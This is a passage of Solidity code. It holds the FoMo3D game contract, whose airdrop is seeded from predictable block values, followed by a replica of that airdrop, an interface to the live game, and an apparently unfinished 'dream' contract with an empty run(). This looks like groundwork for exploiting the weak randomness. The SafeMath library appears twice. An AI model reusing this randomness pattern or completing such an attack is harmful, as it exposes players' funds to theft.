* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
// early round eth limiter
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// manage airdrops
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
// gib muni
uint256 _prize;
if (_eth >= 10000000000000000000)
{
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 2 prize was won
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
// calculate prize and give it to winner
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
// adjust airDropPot
airDropPot_ = (airDropPot_).sub(_prize);
// let event know a tier 3 prize was won
_eventData_.compressedData += 300000000000000000000000000000000;
}
// set airdrop happened bool to true
_eventData_.compressedData += 10000000000000000000000000000000;
// let event know how much was won
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
// reset air drop tracker
airDropTracker_ = 0;
}
}
// store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
// update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
// distribute eth
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
//==============================================================================
// _ _ | _ | _ _|_ _ _ _ .
// (_(_||(_|_||(_| | (_)| _\ .
//==============================================================================
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
/**
* @dev returns the amount of keys you would get given an amount of eth.
* -functionhash- 0xce89c80c
* @param _rID round ID you want price for
* @param _eth amount of eth sent in
* @return keys received
*/
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else // rounds over. need keys for new round
return ( (_eth).keys() );
}
/**
* @dev returns current eth price for X keys.
* -functionhash- 0xcf808000
* @param _keys number of keys desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else // rounds over. need price for new round
return ( (_keys).eth() );
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
/**
* @dev receives name/player info from names contract
*/
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev receives entire player name list
*/
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return pID
*/
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
// if player is new to this version of fomo3d
if (_pID == 0)
{
// grab their player ID, name and last aff ID, from player names contract
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
// set up player account
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
// set the new player bool to true
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
/**
* @dev checks to make sure user picked a valid team. if not sets team
* to default (sneks)
*/
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
/**
* @dev decides if round end needs to be run & new round started. and if
* player unmasked earnings from previously played rounds need to be moved.
*/
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// if player has played a previous round, move their unmasked earnings
// from that round to gen vault.
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
// update player's last round played
plyr_[_pID].lrnd = rID_;
// set the joined round bool to true
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// setup local rID
uint256 _rID = rID_;
// grab our winning player and team id's
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
// grab our pot amount
uint256 _pot = round_[_rID].pot;
// calculate our winner share, community rewards, gen share,
// p3d share, and amount reserved for next pot
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
// calculate ppt for round mask
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// community rewards
if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()"))))
{
// This ensures Team Just cannot influence the outcome of FoMo3D with
// bank migrations by breaking outgoing transactions.
// Something we would never do. But that's not the point.
// We spent 2000$ in eth re-deploying just to patch this, we hold the
// highest belief that everything we create should be trustless.
// Team JUST, The name you shouldn't have to trust.
_p3d = _p3d.add(_com);
_com = 0;
}
// distribute gen portion to key holders
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// send share for p3d to divies
if (_p3d > 0)
Divies.deposit.value(_p3d)();
// prepare event data
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
// start next round
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
/**
* @dev updates round timer based on number of whole keys bought.
*/
function updateTimer(uint256 _keys, uint256 _rID)
private
{
// grab time
uint256 _now = now;
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
/**
* @dev distributes eth based on fees to com, aff, and p3d
*/
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// pay 2% out to community rewards
uint256 _com = _eth / 50;
uint256 _p3d;
if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()"))))
{
// This ensures Team Just cannot influence the outcome of FoMo3D with
// bank migrations by breaking outgoing transactions.
// Something we would never do. But that's not the point.
// We spent 2000$ in eth re-deploying just to patch this, we hold the
// highest belief that everything we create should be trustless.
// Team JUST, The name you shouldn't have to trust.
_p3d = _com;
_com = 0;
}
// pay 1% out to FoMo3D short
uint256 _long = _eth / 100;
otherF3D_.potSwap.value(_long)();
// distribute share to affiliate
uint256 _aff = _eth / 10;
// decide what to do with affiliate share of fees
// affiliate must not be self, and must have a name registered
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
// pay out p3d
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
// deposit to divies contract
Divies.deposit.value(_p3d)();
// set up event data
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
// setup local rID
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
/**
* @dev distributes eth based on fees to gen and pot
*/
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// calculate gen share
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
// toss 1% into airdrop pot
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
// update eth balance (eth = eth - (com share + pot swap share + aff share + p3d share + airdrop pot share))
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
// calculate pot
uint256 _pot = _eth.sub(_gen);
// distribute gen share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
// add eth to pot
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
// set up event data
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
/**
* @dev updates masks for round and player when keys are bought
* @return dust left over
*/
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
/* MASKING NOTES
earnings masks are a tricky thing for people to wrap their minds around.
the basic thing to understand here. is were going to have a global
tracker based on profit per share for each round, that increases in
relevant proportion to the increase in share supply.
the player will have an additional mask that basically says "based
on the rounds mask, my shares, and how much i've already withdrawn,
how much is still owed to me?"
*/
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
/**
* @dev adds up unmasked earnings, & vault earnings, sets them all to 0
* @return earnings in wei format
*/
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
// update gen vault
updateGenVault(_pID, plyr_[_pID].lrnd);
// from vaults
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
/**
* @dev prepares compression data and fires event for buy or reload tx's
*/
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
//==============================================================================
// (~ _ _ _._|_ .
// _)(/_(_|_|| | | \/ .
//====================/=========================================================
/** upon contract deploy, it will be deactivated. this is a one time
* use function that will activate the contract. we do this so devs
* have time to set things up on the web end **/
bool public activated_ = false;
function activate()
public
{
// only team just can activate
require(
msg.sender == 0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C ||
msg.sender == 0x8b4DA1827932D71759687f925D17F81Fc94e3A9D ||
msg.sender == 0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53 ||
msg.sender == 0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C ||
msg.sender == 0xF39e044e1AB204460e06E87c6dca2c6319fC69E3,
"only team just can activate"
);
// make sure that its been linked.
require(address(otherF3D_) != address(0), "must link to other FoMo3D first");
// can only be ran once
require(activated_ == false, "fomo3d already activated");
// activate the contract
activated_ = true;
// lets start first round
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
function setOtherFomo(address _otherF3D)
public
{
// only team just can activate
require(
msg.sender == 0x18E90Fc6F70344f53EBd4f6070bf6Aa23e2D748C ||
msg.sender == 0x8b4DA1827932D71759687f925D17F81Fc94e3A9D ||
msg.sender == 0x8e0d985f3Ec1857BEc39B76aAabDEa6B31B67d53 ||
msg.sender == 0x7ac74Fcc1a71b106F12c55ee8F802C9F672Ce40C ||
msg.sender == 0xF39e044e1AB204460e06E87c6dca2c6319fC69E3,
"only team just can activate"
);
// make sure that it HASNT yet been linked.
require(address(otherF3D_) == address(0), "silly dev, you already did that");
// set up other fomo3d (fast or long) for pot swap
otherF3D_ = otherFoMo3D(_otherF3D);
}
}
//==============================================================================
// __|_ _ __|_ _ .
// _\ | | |_|(_ | _\ .
//==============================================================================
library F3Ddatasets {
//compressedData key
// [76-33][32][31][30][29][28-18][17][16-6][5-3][2][1][0]
// 0 - new player (bool)
// 1 - joined round (bool)
// 2 - new leader (bool)
// 3-5 - air drop tracker (uint 0-999)
// 6-16 - round end time
// 17 - winnerTeam
// 18 - 28 timestamp
// 29 - team
// 30 - 0 = reinvest (round), 1 = buy (round), 2 = buy (ico), 3 = reinvest (ico)
// 31 - airdrop happened bool
// 32 - airdrop tier
// 33 - airdrop amount won
//compressedIDs key
// [77-52][51-26][25-0]
// 0-25 - pID
// 26-51 - winPID
// 52-77 - rID
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr; // winner address
bytes32 winnerName; // winner name
uint256 amountWon; // amount won
uint256 newPot; // amount in new pot
uint256 P3DAmount; // amount distributed to p3d
uint256 genAmount; // amount distributed to gen
uint256 potAmount; // amount added to pot
}
struct Player {
address addr; // player address
bytes32 name; // player name
uint256 win; // winnings vault
uint256 gen; // general vault
uint256 aff; // affiliate vault
uint256 lrnd; // last round played
uint256 laff; // last affiliate id used
}
struct PlayerRounds {
uint256 eth; // eth player has added to round (used for eth limiter)
uint256 keys; // keys
uint256 mask; // player mask
uint256 ico; // ICO phase investment
}
struct Round {
uint256 plyr; // pID of player in lead
uint256 team; // tID of team in lead
uint256 end; // time ends/ended
bool ended; // has round end function been ran
uint256 strt; // time round started
uint256 keys; // keys
uint256 eth; // total eth in
uint256 pot; // eth to pot (during round) / final amount paid to winner (after round ends)
uint256 mask; // global mask
uint256 ico; // total eth sent in during ICO phase
uint256 icoGen; // total eth for gen during ICO phase
uint256 icoAvg; // average key price for ICO phase
}
struct TeamFee {
uint256 gen; // % of buy in thats paid to key holders of current round
uint256 p3d; // % of buy in thats paid to p3d holders
}
struct PotSplit {
uint256 gen; // % of pot thats paid to key holders of current round
uint256 p3d; // % of pot thats paid to p3d holders
}
}
//==============================================================================
// | _ _ _ | _ .
// |<(/_\/ (_(_||(_ .
//=======/======================================================================
library F3DKeysCalcLong {
using SafeMath for *;
/**
* @dev calculates number of keys received given X eth
* @param _curEth current amount of eth in contract
* @param _newEth eth being spent
* @return amount of ticket purchased
*/
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
/**
* @dev calculates amount of eth received if you sold X keys
* @param _curKeys current amount of keys that exist
* @param _sellKeys amount of keys you wish to sell
* @return amount of eth received
*/
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
/**
* @dev calculates how many keys would exist with given an amount of eth
* @param _eth eth "in contract"
* @return number of keys that would exist
*/
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
/**
* @dev calculates how much eth would be in contract given a number of keys
* @param _keys number of keys "in contract"
* @return eth that would exists
*/
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
//==============================================================================
// . _ _|_ _ _ |` _ _ _ _ .
// || | | (/_| ~|~(_|(_(/__\ .
//==============================================================================
interface otherFoMo3D {
function potSwap() external payable;
}
interface F3DexternalSettingsInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface DiviesInterface {
function deposit() external payable;
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
/**
* @title -Name Filter- v0.1.9
* ┌┬┐┌─┐┌─┐┌┬┐ ╦╦ ╦╔═╗╔╦╗ ┌─┐┬─┐┌─┐┌─┐┌─┐┌┐┌┌┬┐┌─┐
* │ ├┤ ├─┤│││ ║║ ║╚═╗ ║ ├─┘├┬┘├┤ └─┐├┤ │││ │ └─┐
* ┴ └─┘┴ ┴┴ ┴ ╚╝╚═╝╚═╝ ╩ ┴ ┴└─└─┘└─┘└─┘┘└┘ ┴ └─┘
* _____ _____
* (, / /) /) /) (, / /) /)
* ┌─┐ / _ (/_ // // / _ // _ __ _(/
* ├─┤ ___/___(/_/(__(_/_(/_(/_ ___/__/_)_(/_(_(_/ (_(_(_
* ┴ ┴ / / .-/ _____ (__ /
* (__ / (_/ (, / /)™
* / __ __ __ __ _ __ __ _ _/_ _ _(/
* ┌─┐┬─┐┌─┐┌┬┐┬ ┬┌─┐┌┬┐ /__/ (_(__(_)/ (_/_)_(_)/ (_(_(_(__(/_(_(_
* ├─┘├┬┘│ │ │││ ││ │ (__ / .-/ © Jekyll Island Inc. 2018
* ┴ ┴└─└─┘─┴┘└─┘└─┘ ┴ (_/
* _ __ _ ____ ____ _ _ _____ ____ ___
*=============| |\ | / /\ | |\/| | |_ =====| |_ | | | | | | | |_ | |_)==============*
*=============|_| \| /_/--\ |_| | |_|__=====|_| |_| |_|__ |_| |_|__ |_| \==============*
*
* ╔═╗┌─┐┌┐┌┌┬┐┬─┐┌─┐┌─┐┌┬┐ ╔═╗┌─┐┌┬┐┌─┐ ┌──────────┐
* ║ │ ││││ │ ├┬┘├─┤│ │ ║ │ │ ││├┤ │ Inventor │
* ╚═╝└─┘┘└┘ ┴ ┴└─┴ ┴└─┘ ┴ ╚═╝└─┘─┴┘└─┘ └──────────┘
*/
library NameFilter {
/**
* @dev filters name strings
* -converts uppercase to lower case.
* -makes sure it does not start/end with a space
* -makes sure it does not contain multiple spaces in a row
* -cannot be only numbers
* -cannot start with 0x
* -restricts characters to A-Z, a-z, 0-9, and space.
* @return reprocessed string in bytes32 format
*/
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
//sorry limited to 32 characters
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
// make sure it doesnt start with or end with space
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
// make sure first two characters are not 0x
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
// create a bool to track if we have a non number character
bool _hasNonNumber;
// convert & check
for (uint256 i = 0; i < _length; i++)
{
// if its uppercase A-Z
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
// convert to lower case a-z
_temp[i] = byte(uint(_temp[i]) + 32);
// we have a non number
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
// require character is a space
_temp[i] == 0x20 ||
// OR lowercase a-z
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
// or 0-9
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
// make sure theres not 2x spaces in a row
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
// see if we have a character other than a number
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
/**
* @title SafeMath v0.1.9
* @dev Math operations with safety checks that throw on error
* change notes: original SafeMath library from OpenZeppelin modified by Inventor
* - added sqrt
* - added sq
* - added pwr
* - changed asserts to requires with error log outputs
* - removed div, its useless
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
/**
* @dev gives square root of given x.
*/
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
/**
* @dev gives square. multiplies x by x
*/
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
/**
* @dev x to the power of y
*/
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
}
contract Fomo3d{
using SafeMath for *;
uint256 public airDropTracker_ = 500;
uint256 public airDropPot_ ;
mapping (address=>uint) public my;
function ()public payable {
airDropPot_ = airDropPot_.add(msg.value);
if (msg.value >= 100000000000000000) {
airDropTracker_++;
if (airdrop() == true) {
uint256 _prize = ((airDropPot_).mul(25)) / 100;
my[msg.sender] += _prize;
airDropPot_ = (airDropPot_).sub(_prize);
airDropTracker_ = 0;
}
}
}
function withdraw () public {
msg.sender.transfer(my[msg.sender]);
my[msg.sender] = 0;
}
function airdrop()
public
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked((block.timestamp).add(block.difficulty).add((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add(block.gaslimit).add((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add(block.number))));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
}
pragma solidity ^0.4.24;
interface FoMo3DlongInterface {
function buyXid(uint256 _affCode,uint256 _team) external payable;
function airDropTracker_() external returns (uint256);
function airDropPot_() external returns (uint256);
function withdraw() external;
}
contract dream {
address private admin;
function run() public onlyAdmin{
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
constructor ()public {
admin = msg.sender;
}
}
